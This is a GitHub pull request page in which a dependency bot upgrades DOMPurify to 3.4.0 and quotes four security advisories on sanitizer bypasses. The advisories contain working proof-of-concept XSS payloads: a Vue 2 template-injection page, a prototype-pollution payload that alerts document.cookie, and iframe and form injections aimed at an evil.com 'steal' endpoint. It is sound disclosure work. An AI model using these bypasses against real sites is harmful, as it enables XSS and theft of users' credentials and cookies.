chore(deps): update dependency dompurify@<3.3.2 to v3.4.0 [security] by renovate[bot] · Pull Request #2573 · i-am-bee/agentstack

renovate · 2026-04-16T17:07:59Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
dompurify@<3.3.2	`3.3.2` → `3.4.0`

DOMPurify's ADD_TAGS function form bypasses FORBID_TAGS due to short-circuit evaluation

GHSA-39q2-94rc-95cp

More information

Details

Summary

In src/purify.ts:1117-1123, ADD_TAGS as a function (via EXTRA_ELEMENT_HANDLING.tagCheck) bypasses FORBID_TAGS due to short-circuit evaluation.

The condition:

!(tagCheck(tagName)) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])

When tagCheck(tagName) returns true, the entire condition is false and the element is kept — FORBID_TAGS[tagName] is never evaluated.

Inconsistency

This contradicts the attribute-side pattern at line 1214 where FORBID_ATTR explicitly wins first:

if (FORBID_ATTR[lcName]) { continue; }

For tags, FORBID should also take precedence over ADD.

Impact

Applications using both ADD_TAGS as a function and FORBID_TAGS simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency.

Suggested Fix

Check FORBID_TAGS before tagCheck:

if (FORBID_TAGS[tagName]) { /* remove */ }
else if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ }

Affected Version

v3.3.3 (commit 883ac15)

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode

CVE-2026-41239 / GHSA-crv5-9vww-q3g8

More information

Details

Summary

Field	Value
Severity	Medium
Affected	DOMPurify `main` at `883ac15`, introduced in v1.0.10 (`7fc196db`)

SAFE_FOR_TEMPLATES strips {{...}} expressions from untrusted HTML. This works in string mode but not with RETURN_DOM or RETURN_DOM_FRAGMENT, allowing XSS via template-evaluating frameworks like Vue 2.

Technical Details

DOMPurify strips template expressions in two passes:

Per-node — each text node is checked during the tree walk (purify.ts:1179-1191):

// pass #&#8203;1: runs on every text node during tree walk
if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {
  content = currentNode.textContent;
  content = content.replace(MUSTACHE_EXPR, ' ');  // {{...}} -> ' '
  content = content.replace(ERB_EXPR, ' ');        // <%...%> -> ' '
  content = content.replace(TMPLIT_EXPR, ' ');      // ${...  -> ' '
  currentNode.textContent = content;
}

Final string scrub — after serialization, the full HTML string is scrubbed again (purify.ts:1679-1683). This is the safety net that catches expressions that only form after the DOM settles.

The RETURN_DOM path returns before pass #2 ever runs (purify.ts:1637-1661):

// purify.ts (simplified)

if (RETURN_DOM) {
  // ... build returnNode ...
  return returnNode;        // <-- exits here, pass #&#8203;2 never runs
}

// pass #&#8203;2: only reached by string-mode callers
if (SAFE_FOR_TEMPLATES) {
  serializedHTML = serializedHTML.replace(MUSTACHE_EXPR, ' ');
}
return serializedHTML;

The payload {<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>} exploits this:

Parser creates: TEXT("{") → <foo> → TEXT("{payload}") → <foo> → TEXT("}") — no single node contains {{, so pass #1 misses it
<foo> is not allowed, so DOMPurify removes it but keeps surrounding text
The three text nodes are now adjacent — .outerHTML reads them as {{payload}}, which Vue 2 compiles and executes

Reproduce

Open the following html in any browser and alert(1) pops up.

<!DOCTYPE html>
<html>

<body>
  <script src="https://cdn.jsdelivr.net/npm/dompurify@3.3.3/dist/purify.min.js"></script>
  <script src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.min.js"></script>
  <script>
    var dirty = '<div id="app">{<foo></foo>{constructor.constructor("alert(1)")()}<foo></foo>}</div>';
    var dom = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true });
    document.body.appendChild(dom.firstChild);
    new Vue({ el: '#app' });
  </script>
</body>

</html>

Impact

Any application that sanitizes attacker-controlled HTML with SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or RETURN_DOM_FRAGMENT: true), then mounts the result into a template-evaluating framework, is vulnerable to XSS.

Recommendations

Fix

normalize() merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both RETURN_DOM and RETURN_DOM_FRAGMENT.

     if (RETURN_DOM) {
+      if (SAFE_FOR_TEMPLATES) {
+        body.normalize();
+        let html = body.innerHTML;
+        arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {
+          html = stringReplace(html, expr, ' ');
+        });
+        body.innerHTML = html;
+      }
+
       if (RETURN_DOM_FRAGMENT) {
         returnNode = createDocumentFragment.call(body.ownerDocument);

Severity

CVSS Score: 6.8 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)

CVE-2026-41240 / GHSA-h7mw-gpvr-xq4m

More information

Details

There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.

Commit c361baa added an early exit for FORBID_ATTR at line 1214:

/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
if (FORBID_ATTR[lcName]) {
  return false;
}

The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:

if (
  !(
    EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
    EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -> short-circuits
  ) &&
  (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated
) {

This allows forbidden elements to survive sanitization with their attributes intact.

PoC (tested against current HEAD in Node.js + jsdom):

const DOMPurify = createDOMPurify(window);

DOMPurify.sanitize(
  '<iframe src="https://evil.com"></iframe>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['iframe']
  }
);
// Returns: '<iframe src="https://evil.com"></iframe>'
// Expected: '' (iframe forbidden)

DOMPurify.sanitize(
  '<form action="https://evil.com/steal"><input name=password></form>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['form']
  }
);
// Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
// Expected: '<input name="password">' (form forbidden)

Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.

Compare with FORBID_ATTR which correctly wins:

DOMPurify.sanitize(
  '<p onclick="alert(1)">hello</p>',
  {
    ADD_ATTR: function(attr) { return true; },
    FORBID_ATTR: ['onclick']
  }
);
// Returns: '<p>hello</p>' (onclick correctly removed)

Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:

/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
if (FORBID_TAGS[tagName]) {
  // proceed to removal logic
}

This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.

Reporter: Koda Reef

Severity

CVSS Score: 6.0 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

DOMPurify: Prototype Pollution to XSS Bypass via CUSTOM_ELEMENT_HANDLING Fallback

CVE-2026-41238 / GHSA-v9jr-rg53-9pgp

More information

Details

Summary

DOMPurify versions 3.0.1 through 3.3.3 (latest) are vulnerable to a prototype pollution-based XSS bypass. When an application uses DOMPurify.sanitize() with the default configuration (no CUSTOM_ELEMENT_HANDLING option), a prior prototype pollution gadget can inject permissive tagNameCheck and attributeNameCheck regex values into Object.prototype, causing DOMPurify to allow arbitrary custom elements with arbitrary attributes — including event handlers — through sanitization.

Affected Versions

3.0.1 through 3.3.3 (current latest) — all affected
3.0.0 and all 2.x versions — NOT affected (used Object.create(null) for initialization, no || {} reassignment)
The vulnerable || {} reassignment was introduced in the 3.0.0→3.0.1 refactor
This is distinct from GHSA-cj63-jhhr-wcxv (USE_PROFILES Array.prototype pollution, fixed in 3.3.2)
This is distinct from CVE-2024-45801 / GHSA-mmhx-hmjr-r674 (__depth prototype pollution, fixed in 3.1.3)

Root Cause

In purify.js at line 590, during config parsing:

CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};

When no CUSTOM_ELEMENT_HANDLING is specified in the config (the default usage pattern), cfg.CUSTOM_ELEMENT_HANDLING is undefined, and the fallback {} is used. This plain object inherits from Object.prototype.

Lines 591-598 then check cfg.CUSTOM_ELEMENT_HANDLING (the original config property) — which is undefined — so the conditional blocks that would set tagNameCheck and attributeNameCheck from the config are never entered.

As a result, CUSTOM_ELEMENT_HANDLING.tagNameCheck and CUSTOM_ELEMENT_HANDLING.attributeNameCheck resolve via the prototype chain. If an attacker has polluted Object.prototype.tagNameCheck and Object.prototype.attributeNameCheck with permissive values (e.g., /.*/), these polluted values flow into DOMPurify's custom element validation at lines 973-977 and attribute validation, causing all custom elements and all attributes to be allowed.

Impact

Attack type: XSS bypass via prototype pollution chain
Prerequisites: Attacker must have a prototype pollution primitive in the same execution context (e.g., vulnerable version of lodash, jQuery.extend, query-string parser, deep merge utility, or any other PP gadget)
Config required: Default. No special DOMPurify configuration needed. The standard DOMPurify.sanitize(userInput) call is affected.
Payload: Any HTML custom element (name containing a hyphen) with event handler attributes survives sanitization

Proof of Concept

// Step 1: Attacker exploits a prototype pollution gadget elsewhere in the application
Object.prototype.tagNameCheck = /.*/;
Object.prototype.attributeNameCheck = /.*/;

// Step 2: Application sanitizes user input with DEFAULT config
const clean = DOMPurify.sanitize('<x-x onfocus=alert(document.cookie) tabindex=0 autofocus>');

// Step 3: "Sanitized" output still contains the event handler
console.log(clean);
// Output: <x-x onfocus="alert(document.cookie)" tabindex="0" autofocus="">

// Step 4: When injected into DOM, XSS executes
document.body.innerHTML = clean; // alert() fires

Tested configurations that are vulnerable:

Call Pattern	Vulnerable?
`DOMPurify.sanitize(input)`	YES
`DOMPurify.sanitize(input, {})`	YES
`DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: null })`	YES
`DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: {} })`	NO (explicit object triggers L591 path)

Suggested Fix

Change line 590 from:

CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};

To:

CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || create(null);

The create(null) function (already used elsewhere in DOMPurify, e.g., in clone()) creates an object with no prototype, preventing prototype chain inheritance.

Alternative application-level mitigation:

Applications can protect themselves by always providing an explicit CUSTOM_ELEMENT_HANDLING in their config:

DOMPurify.sanitize(input, {
  CUSTOM_ELEMENT_HANDLING: {
    tagNameCheck: null,
    attributeNameCheck: null
  }
});

Timeline

2026-04-04: Vulnerability discovered during automated DOMPurify fuzzing research (Fermat project)
2026-04-04: Confirmed in Chrome browser with DOMPurify 3.3.3
2026-04-04: Verified distinct from GHSA-cj63-jhhr-wcxv and CVE-2024-45801
2026-04-04: Advisory drafted, responsible disclosure initiated

Credit

https://github.com/trace37labs

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Release Notes

cure53/DOMPurify (dompurify@<3.3.2)

`v3.4.0`: DOMPurify 3.4.0

Compare Source

Most relevant changes:

Fixed a problem with FORBID_TAGS not winning over ADD_TAGS, thanks @kodareef5
Fixed several minor problems and typos regarding MathML attributes, thanks @DavidOliver
Fixed ADD_ATTR/ADD_TAGS function leaking into subsequent array-based calls, thanks @1Jesper1
Fixed a missing SAFE_FOR_TEMPLATES scrub in RETURN_DOM path, thanks @bencalif
Fixed a prototype pollution via CUSTOM_ELEMENT_HANDLING, thanks @trace37labs
Fixed an issue with ADD_TAGS function form bypassing FORBID_TAGS, thanks @eddieran
Fixed an issue with ADD_ATTR predicates skipping URI validation, thanks @christos-eth
Fixed an issue with USE_PROFILES prototype pollution, thanks @christos-eth
Fixed an issue leading to possible mXSS via Re-Contextualization, thanks @researchatfluidattacks and others
Fixed a problem with the type dentition patcher after Node version bump
Fixed freezing BS runs by reducing the tested browsers array
Bumped several dependencies where possible
Added needed files for OpenSSF scorecard checks

Published Advisories are here:
https://github.com/cure53/DOMPurify/security/advisories?state=published

`v3.3.3`: DOMPurify 3.3.3

Compare Source

Fixed an engine requirement for Node 20 which caused hiccups, thanks @Rotzbua

Configuration

📅 Schedule: (UTC)

Branch creation
- ""
Automerge
- At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

github-project-automation Bot added this to Agent Stack Apr 16, 2026

renovate Bot changed the title ~~chore(deps): update dependency dompurify@<3.3.2 to v3.4.0 [security]~~ chore(deps): update dependency dompurify@<3.3.2 to v3.4.0 [security] - autoclosed Apr 18, 2026

renovate Bot closed this Apr 18, 2026

renovate Bot deleted the renovate/npm-dompurify-3.3.2-vulnerability branch April 18, 2026 14:16

github-project-automation Bot moved this to Done in Agent Stack Apr 18, 2026

chore(deps): update dependency dompurify@<3.3.2 to v3.4.0 [security]

2c276ce

renovate Bot changed the title ~~chore(deps): update dependency dompurify@<3.3.2 to v3.4.0 [security] - autoclosed~~ chore(deps): update dependency dompurify@<3.3.2 to v3.4.0 [security] Apr 21, 2026

renovate Bot reopened this Apr 21, 2026

renovate Bot force-pushed the renovate/npm-dompurify-3.3.2-vulnerability branch from 2c276ce to d64b565 Compare April 21, 2026 18:58

github-project-automation Bot moved this from Done to Dev backlog in Agent Stack Apr 21, 2026

renovate Bot force-pushed the renovate/npm-dompurify-3.3.2-vulnerability branch from d64b565 to 2c276ce Compare April 21, 2026 18:59

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

chore(deps): update dependency dompurify@<3.3.2 to v3.4.0 [security]#2573

chore(deps): update dependency dompurify@<3.3.2 to v3.4.0 [security]#2573
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-dompurify-3.3.2-vulnerability

renovate Bot commented Apr 16, 2026 •

edited

Loading

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Conversation

renovate Bot commented Apr 16, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

DOMPurify's ADD_TAGS function form bypasses FORBID_TAGS due to short-circuit evaluation

Details

Summary

Inconsistency

Impact

Suggested Fix

Affected Version

Severity

References

DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode

Details

Summary

Technical Details

Reproduce

Impact

Recommendations

Fix

Severity

References

DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)

Details

Severity

References

DOMPurify: Prototype Pollution to XSS Bypass via CUSTOM_ELEMENT_HANDLING Fallback

Details

Summary

Affected Versions

Root Cause

Impact

Proof of Concept

Tested configurations that are vulnerable:

Suggested Fix

Alternative application-level mitigation:

Timeline

Credit

Severity

References

Release Notes

v3.4.0: DOMPurify 3.4.0

v3.3.3: DOMPurify 3.3.3

Configuration

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

renovate Bot commented Apr 16, 2026 •

edited

Loading

`v3.4.0`: DOMPurify 3.4.0

`v3.3.3`: DOMPurify 3.3.3